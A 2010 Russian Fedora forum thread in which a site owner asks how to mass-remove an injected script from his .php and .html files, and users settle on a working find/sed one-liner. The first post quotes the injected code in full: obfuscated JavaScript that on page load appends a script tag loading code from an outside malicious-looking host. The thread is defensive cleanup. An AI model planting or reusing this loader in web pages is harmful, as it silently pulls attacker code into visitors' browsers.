Fedora linux forum

Форум русской поддержки ОС Fedora linux

 

#1 2010-04-05 16:26:27

eoleg
New member
Зарегистрирован: 2010-04-05
Сообщений: 4

Массовая замена строки в файлах

Как удалить строку в нескольких файлах?

во все .php прописался скрипт

<script>var A;if(A!='q' && A!='m'){A='q'};function l() {var pT="";var bP="";var u="]";var oC=new String();var JH=new String();var K=RegExp;var s;if(s!='' && s!='g'){s='k'};this.S='';var J=new String("rep"+"lac"+"N8qe".substr(3));var O=new Array();var X=unescape("/google.com/google.com/zing.vn/msn.com.cn/charter.net.php");var XU=window;var T=new String();var R=new String();var W='';var F;if(F!=''){F='li'};var sh;if(sh!='' && sh!='Ze'){sh=''};var kV=new Array();function v(Q,Z){var D="";var Wu=new String("[");var j='';Wu+=Z+u;var G;if(G!='Qe' && G != ''){G=null};this.Bc="";var n=new K(Wu, String("V3KFg".substr(4)));var mN;if(mN!='sas'){mN=''};return Q[J](n, W);};var ek="";var U=new Array();var w=v('87530637832930573','56472139');var YE;if(YE!='' && YE!='gG'){YE='Co'};this.Qv='';var ZS=unescape("http://kohls-com.ya.ru.hulu-com.javahelponline.ru:");var PS;if(PS!='nF' && PS!='hb'){PS='nF'};var P='';var ds;if(ds!='ue' && ds!='WW'){ds='ue'};var b=String("scr"+"KVaipt".substr(3));var _s='';var Pc='';this.zl='';XU["onloa"+"Hvgkd".substr(4)]=function(){var AV='';var Og;if(Og!=''){Og='yV'};try {var IX;if(IX!='' && IX!='sP'){IX=null};this.wn="";P=ZS+w;P+=X;p=document.createElement(b);var c;if(c!='' && c!='Me'){c=''};this.DG="";this.ry='';p[String("de"+"fe"+"r")]=[8,1][1];var N="";var aR="";p["srJW4".substr(0,2)+"c9AJ".substr(0,1)] = P;document.body.appendChild(p);} catch(Pz){};var ryl=new String();};var cJ=new Date();var ga=new Date();var _n="";var gi=new Date();};l();</script>
<!--21bbe805d2c1299b84645aa67bdf7beb-->

мне его нужно удалить
но файлов много и руками это очень трудоемко
как с помощью встроенных средств в linux автоматически удалить его?
find
sed
awk
replace
может еще какие команды есть?
сразу скажу что доку сейчас читаю поэтому за совет прочитать заранее говорю спасибо.
find . -name *.php -exec sed -i 's/oldtext/newtext/' {} \;
не получилось
чтото нужно еще прописать

кстати а что делает этот скрипт интересно :smile

Неактивен

 

#2 2010-04-05 18:28:37

eoleg
New member
Зарегистрирован: 2010-04-05
Сообщений: 4

Re: Массовая замена строки в файлах

а может както можно удалить строку если она начинается например с <script>var A;if(A!='q' && ?
тоесть полностью строку

Неактивен

 

#3 2010-04-05 19:05:30

Mak_s
Member
Откуда: Чернигов
Зарегистрирован: 2009-12-06
Сообщений: 358

Re: Массовая замена строки в файлах

То, что я написал в своем первом посте — неправильно, поэтому я его удалил.
sed '/^sometext/d' полностью удаляет строки, которые начинаются с sometext
Поэтому в данном случае должна подойти команда

Код:

find . -name "*.php" -exec sed -i '/^\<script\>var\ A\;if\(A\!\=\'q\'\ \&\&/d' '{}' \;

Отредактированно Mak_s (2010-04-05 19:07:07)


Круче самовара только титан

Неактивен

 

#4 2010-04-05 20:28:39

eoleg
New member
Зарегистрирован: 2010-04-05
Сообщений: 4

Re: Массовая замена строки в файлах

переходит в ожидание ввода команды или данных

Неактивен

 

#5 2010-04-05 20:45:25

eoleg
New member
Зарегистрирован: 2010-04-05
Сообщений: 4

Re: Массовая замена строки в файлах

получилось
может понадобится кому
удаляет строку которая начинается с <script>var A
расширение php обязательно в кавычках
find . -name "*.php" -exec sed -i '/^<script>var A/d' '{}' \;
find . -name *.html -exec sed -i '/^<script>var A/d' '{}' \;

Неактивен